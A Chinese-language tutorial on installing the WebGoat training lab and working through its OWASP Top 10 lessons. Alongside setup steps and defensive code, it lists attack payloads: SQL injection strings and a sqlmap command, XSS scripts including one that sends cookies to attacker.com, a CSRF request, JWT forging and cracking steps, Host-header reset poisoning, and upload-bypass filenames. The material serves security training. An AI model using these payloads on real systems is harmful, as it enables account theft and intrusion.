WebGoat环境搭建及实战步骤完全指南

# 1. 安装 Docker（如未安装）
# Linux
sudo apt-get update
sudo apt-get install docker.io docker-compose

# 2. 拉取 WebGoat 镜像
docker pull webgoat/webgoat

# 3. 运行 WebGoat
# 方式一：直接运行
docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Asia/Shanghai webgoat/webgoat

# 方式二：使用 docker-compose（推荐）
cat > docker-compose.yml << 'EOF'
version: '3'
services:
  webgoat:
    image: webgoat/webgoat:latest
    container_name: webgoat
    ports:
      - "8080:8080"
      - "9090:9090"
    environment:
      - TZ=Asia/Shanghai
      - WEBGOAT_HOST=0.0.0.0
    restart: unless-stopped
EOF

docker-compose up -d

# 4. 验证安装
docker ps
curl http://localhost:8080/WebGoat

# 1. 下载最新版本
# 访问 https://github.com/WebGoat/WebGoat/releases
# 下载 webgoat-server-xx.x.x.jar 和 webwolf-xx.x.x.jar

# 2. 运行 WebGoat（需要 Java 11+）
java -jar webgoat-server-xx.x.x.jar --server.port=8080

# 3. 运行 WebWolf（独立工具）
java -jar webwolf-xx.x.x.jar --server.port=9090

# 或者使用官方启动脚本
git clone https://github.com/WebGoat/WebGoat.git
cd WebGoat
./mvnw clean package
java -jar webgoat-server/target/*.jar

# 1. 克隆仓库
git clone https://github.com/WebGoat/WebGoat.git
cd WebGoat

# 2. 编译（需要 Maven 和 Java 11+）
./mvnw clean compile

# 3. 运行
./mvnw spring-boot:run -pl webgoat-server

# 4. 访问
# WebGoat: http://localhost:8080/WebGoat
# WebWolf: http://localhost:9090/WebWolf

# Kali Linux 通常预装了 WebGoat
# 启动 WebGoat
service webgoat start

# 或者手动启动
cd /usr/share/webgoat
java -jar webgoat-server-*.jar

# 访问：https://localhost:8080/WebGoat

# 默认访问地址
WebGoat: http://localhost:8080/WebGoat
WebWolf: http://localhost:9090/WebWolf

# 首次访问配置
1. 打开浏览器访问 http://localhost:8080/WebGoat
2. 创建新用户或使用默认：
   - 用户名：webgoat
   - 密码：webgoat
3. 选择语言（支持中文）
4. 开始课程

A1：注入漏洞
  - SQL 注入（基础）
  - SQL 注入（进阶）
  - NoSQL 注入
  - 命令注入
  - XXE 注入

A2：失效的身份认证
  - 身份认证绕过
  - JWT 令牌安全
  - 密码重置漏洞
  - 安全提问绕过

A3：敏感数据泄露
  - 不安全的加密
  - 弱哈希算法
  - JWT 密钥泄露

A7：跨站脚本（XSS）
  - 反射型 XSS
  - 存储型 XSS
  - DOM 型 XSS
  - 防御方法

A8：不安全的反序列化
  - Java 反序列化
  - 远程代码执行

A4：外部实体（XXE）
  - XXE 读取文件
  - XXE 盲注
  - XXE 防御

A5：失效的访问控制
  - 水平越权
  - 垂直越权
  - IDOR 漏洞
  - JWT 篡改

A6：安全配置错误
  - 目录遍历
  - 敏感文件泄露
  - 安全头部缺失

A9：使用含有已知漏洞的组件
  - 依赖库漏洞
  - 版本检测

WebWolf 挑战
  - 文件上传绕过
  - 邮件钓鱼
  - 重定向漏洞

CTF 风格挑战
  - 综合漏洞利用
  - 多步骤攻击链

-- 1. 访问 SQL Injection (intro)
-- 课程位置：A1 → SQL Injection (intro)

-- 2. 基础注入练习
-- 输入：' OR '1'='1
SELECT * FROM users WHERE name = '' OR '1'='1';

-- 3. 获取所有用户
-- 输入：' OR 1=1 --
SELECT * FROM users WHERE name = '' OR 1=1 --';

-- 4. 联合查询注入
-- 输入：' UNION SELECT 1,2 --
SELECT * FROM products WHERE name = '' UNION SELECT 1,2 --';

-- 5. 获取数据库信息
-- 输入：' UNION SELECT version(),database() --

-- 1. 布尔盲注
-- 判断数据库类型
' AND (SELECT substring(version(),1,1))='5' --

-- 2. 时间盲注
-- MySQL：使用 sleep() 函数
' AND IF(1=1,SLEEP(5),0) --

-- 3. 自动化工具使用
# 使用 sqlmap
sqlmap -u "http://localhost:8080/WebGoat/SqlInjection/attack5a" \
  --data="name=test" \
  --level=3 \
  --risk=2 \
  --dbs

// 查看防御代码示例
// 1. 使用预编译语句
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);

// 2. 使用存储过程
// 3. 输入验证和过滤
// 4. 最小权限原则

// 1. 基础 payload
<script>alert('XSS')</script>

// 2. 绕过简单过滤
<ScRiPt>alert('XSS')</ScRiPt>
<img src=x onerror=alert('XSS')>

// 3. 窃取 Cookie
<script>
  document.location='http://attacker.com/steal?cookie='+document.cookie
</script>

// 1. 在评论中注入
<iframe src="javascript:alert('XSS')">

// 2. 结合 CSRF
<script>
  fetch('/transfer?to=hacker&amount=1000', {method: 'POST'})
</script>

// 1. 利用 URL 片段
http://target.com/#<script>alert('XSS')</script>

// 2. 利用 innerHTML
document.getElementById('content').innerHTML = userInput;
// 防御：使用 textContent 代替

// 1. 解码 JWT
// 使用 jwt.io 在线解码

// 2. 无签名攻击（alg: none）
// 修改 JWT 头部为 { "alg": "none" }
// 删除签名部分

// 3. 密钥爆破
// 使用 hashcat
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

// 4. 密钥混淆攻击
// 使用 HS256 但验证时使用 RS256

# 1. 修改 Host 头
POST /reset-password HTTP/1.1
Host: attacker.com
X-Forwarded-Host: attacker.com

# 2. 密码重置令牌泄露
# 查看页面源码、JS文件、网络请求

# 3. 时间窗口攻击
# 快速使用重置链接

# 1. 修改 Content-Type
# 上传 PHP 文件，但 Content-Type: image/jpeg

# 2. 双扩展名
shell.php.jpg
shell.php%00.jpg

# 3. 大小写绕过
shell.PhP
shell.pHp5

# 4. 特殊字符
shell.php.
shell.php空格

# 1. 访问 WebWolf
http://localhost:9090/WebWolf

# 2. 上传恶意文件
# 3. 使用重定向获取文件
<img src="http://localhost:9090/files/your-file">

# 4. 组合 XSS
<iframe src="http://localhost:9090/files/steal-cookie.js">

// 1. 白名单验证
if (!input.matches("^[a-zA-Z0-9]+$")) {
    throw new ValidationException("非法输入");
}

// 2. 输出编码
String safeOutput = ESAPI.encoder().encodeForHTML(userInput);

// 3. 使用安全框架
// Spring Security 的 CSRF 保护
// OWASP ESAPI 库

# application.yml 安全配置
security:
  headers:
    content-security-policy: "default-src 'self'"
    x-frame-options: DENY
    x-content-type-options: nosniff
  csrf:
    enabled: true

# 1. 配置代理
Proxy → Options → Add
  - Bind to port: 8081
  - Bind to address: 127.0.0.1

# 2. 浏览器设置代理
# Firefox/Chrome: 127.0.0.1:8081

# 3. 拦截 WebGoat 请求
# 查看和修改请求/响应

# 4. 使用 Intruder 爆破

# 1. 启动 ZAP
zap.sh

# 2. 配置上下文
# 设置目标 URL: http://localhost:8080/WebGoat

# 3. 自动扫描
# 主动扫描和被动扫描

# 4. 生成报告

1. SQL Injection (intro) - 3天
2. Cross-Site Scripting (XSS) - 3天
3. Path Traversal - 2天
4. Authentication Flaws - 2天

1. SQL Injection (advanced) - 4天
2. XXE Injection - 3天
3. JWT Tokens - 3天
4. Insecure Deserialization - 3天

1. WebWolf Challenges - 全部完成
2. Secure Coding Lessons - 学习防御
3. 创建自己的漏洞环境

1. **理论+实践结合**
   - 先理解漏洞原理
   - 再动手实践
   - 最后查看官方解法

2. **记笔记和思维导图**
   - 记录每个漏洞的原理
   - 记录攻击步骤
   - 记录防御方法

3. **使用多种工具**
   - 手动测试理解原理
   - 使用工具提高效率
   - 比较不同工具的效果

// 1. 查看后端代码
// WebGoat 是开源的，可以查看源代码理解逻辑

// 2. 使用开发者工具
// - F12 打开开发者工具
// - Network 标签查看请求
// - Console 执行 JavaScript
// - Sources 查看前端代码

// 3. 日志查看
# 查看 WebGoat 日志
docker logs webgoat

# 或者运行时查看
java -jar webgoat-server.jar --debug

# 检查 Java 版本（需要 Java 11+）
java -version

# 检查端口占用
netstat -tlnp | grep 8080
# 或修改端口
java -jar webgoat-server.jar --server.port=8081

# Docker 容器问题
docker logs webgoat-container
docker-compose logs -f

# 解决方法：
1. 仔细阅读题目描述
2. 查看页面源代码
3. 使用浏览器开发者工具
4. 查看网络请求
5. 参考官方文档
6. 使用 WebGoat 的提示功能

# 调整 JVM 参数
java -Xms512m -Xmx1024m -jar webgoat-server.jar

# Docker 资源限制
docker run -d -m 1g --cpus="1.0" webgoat/webgoat

1. **SQLMap** - SQL 注入自动化
2. **XSStrike** - XSS 检测
3. **JWT_Tool** - JWT 攻击工具
4. **FFUF** - Web 目录爆破
5. **Nuclei** - 漏洞扫描

1. **WebGoat.NET** - .NET 版本
2. **DVWA** - 另一个漏洞环境
3. **bWAPP** - 包含更多漏洞类型
4. **Juice Shop** - 现代 Web 应用靶场

1. **OWASP Top 10** - 掌握所有漏洞类型
2. **OSWE** - 高级 Web 渗透认证
3. **Burp Suite Certified Practitioner** - Burp 专业认证

目标：30天内完成所有 A1-A10 基础课程
奖励：深入理解 OWASP Top 10

目标：仅通过黑盒测试完成 WebWolf 挑战
奖励：提升实战测试能力

目标：基于 WebGoat 框架开发一个新漏洞练习
奖励：深入理解漏洞原理和代码实现